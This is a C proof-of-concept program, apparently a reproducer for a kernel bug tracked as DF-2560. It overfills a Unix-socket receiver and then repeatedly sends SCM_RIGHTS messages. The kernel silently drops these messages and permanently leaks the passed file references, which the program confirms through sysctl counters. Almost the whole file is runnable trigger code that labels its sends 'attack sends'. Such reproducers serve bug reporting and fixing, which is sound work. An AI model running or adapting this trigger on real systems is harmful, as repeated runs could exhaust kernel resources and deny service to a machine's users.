DF-2560 / scm_leak6.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 | /* DF-2560 -- DETERMINISTIC trigger. * * uipc_usrreq.c SOCK_STREAM SCM_RIGHTS branch: * :767 if (ssb_appendcontrol(&so2->so_rcv, m, control)) <- checks * ssb_space(&so2->so_rcv) <= 0 against the RECEIVER's hiwat * :787 SSB_STOP backpressure compares rcv cc against the SENDER's * so_snd.ssb_hiwat (and sosend pre-checks only the sender). * * With SO_SNDBUF(1MB) >> SO_RCVBUF(4KB): fill the receiver with plain data * past its hiwat (sbappend is unconditional and never sets STOP below the * sender's 1MB threshold), then sendmsg(SCM_RIGHTS): * - ssb_appendcontrol() returns 0 (rcv space < 0) * - error stays 0, control stays non-NULL * - cleanup at :808/:814 does m_freem(control) WITHOUT unp_dispose() * => every fhold()/unp_add_right() from unp_internalize() leaks * - sendmsg() returns success -- the message is silently dropped. * * usage: scm_leak6 [iters] */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <fcntl.h> static int sysctl_int(const char *name) { int v; size_t l = sizeof(v); return (sysctlbyname(name, &v, &l, NULL, 0) < 0) ? -1 : v; } int main(int argc, char **argv) { int iters = (argc > 1) ? atoi(argv[1]) : 50; int sv[2], fds[8], i, k, rc; struct msghdr msg; struct iovec iov; static char big[32768]; char cbuf[CMSG_SPACE(sizeof(fds))]; struct cmsghdr *cm; int infl0, infl1, of0, of1, ok = 0, fail = 0, probe_not_there = 0; int sz; setvbuf(stdout, NULL, _IONBF, 0); infl0 = sysctl_int("net.local.inflight"); of0 = sysctl_int("kern.openfiles"); printf("before: net.local.inflight=%d kern.openfiles=%d\n", infl0, of0); for (i = 0; i < 8; i++) { char p[64]; snprintf(p, sizeof(p), "/tmp/df2560f_%d", i); unlink(p); fds[i] = open(p, O_RDWR | O_CREAT, 0600); if (fds[i] < 0) { perror("open"); return 1; } } if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) { perror("socketpair"); return 1; } /* asymmetry: sender limit 1MB, receiver limit 4KB */ sz = 1048576; if (setsockopt(sv[0], SOL_SOCKET, SO_SNDBUF, &sz, sizeof(sz)) < 0) perror("SO_SNDBUF"); sz = 4096; if (setsockopt(sv[1], SOL_SOCKET, SO_RCVBUF, &sz, sizeof(sz)) < 0) perror("SO_RCVBUF"); sz = 0; socklen_t sl = sizeof(sz); getsockopt(sv[0], SOL_SOCKET, SO_SNDBUF, &sz, &sl); printf("sender SO_SNDBUF=%d ", sz); sz = 0; sl = sizeof(sz); getsockopt(sv[1], SOL_SOCKET, SO_RCVBUF, &sz, &sl); printf("receiver SO_RCVBUF=%d\n", sz); /* fill receiver past its hiwat with plain data (no STOP: cc << 1MB) */ memset(big, 'D', sizeof(big)); rc = send(sv[0], big, 16384, MSG_DONTWAIT); printf("fill send(16384) = %d (rcv hiwat exceeded, no error)\n", rc); memset(&msg, 0, sizeof(msg)); memset(cbuf, 0, sizeof(cbuf)); iov.iov_base = big; iov.iov_len = 16; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cbuf; msg.msg_controllen = CMSG_SPACE(sizeof(fds)); cm = CMSG_FIRSTHDR(&msg); cm->cmsg_len = CMSG_LEN(sizeof(fds)); cm->cmsg_level = SOL_SOCKET; cm->cmsg_type = SCM_RIGHTS; memcpy(CMSG_DATA(cm), fds, sizeof(fds)); for (k = 0; k < iters; k++) { ssize_t r = sendmsg(sv[0], &msg, MSG_DONTWAIT); if (r < 0) fail++; else ok++; } printf("attack sends: success=%d fail=%d (expect success==iters, " "messages silently dropped)\n", ok, fail); /* prove silent drop: the 16-byte payloads never arrived (peer rcv has * only the fill data); drain and count */ fcntl(sv[1], F_SETFL, O_NONBLOCK); int got = 0, nrecv = 0; for (;;) { ssize_t r = recv(sv[1], big, 4096, MSG_DONTWAIT); if (r <= 0) break; got += r; nrecv++; } printf("peer drained: %d bytes in %d recvs (fill was 16384; " "attack data must be absent)\n", got, nrecv); infl1 = sysctl_int("net.local.inflight"); of1 = sysctl_int("kern.openfiles"); printf("during : inflight=%d openfiles=%d\n", infl1, of1); close(sv[0]); close(sv[1]); for (i = 0; i < 8; i++) close(fds[i]); infl1 = sysctl_int("net.local.inflight"); of1 = sysctl_int("kern.openfiles"); printf("after close-all: inflight=%d openfiles=%d\n", infl1, of1); printf("deltas vs start: inflight=%+d openfiles=%+d\n", infl1 - infl0, of1 - of0); if (infl1 - infl0 > 0) printf("DF2560: LEAK CONFIRMED -- %d rights leaked permanently " "(%d fds passed x %d dropped messages)\n", infl1 - infl0, 8, iters); else printf("DF2560: no leak observed\n"); return 0; } |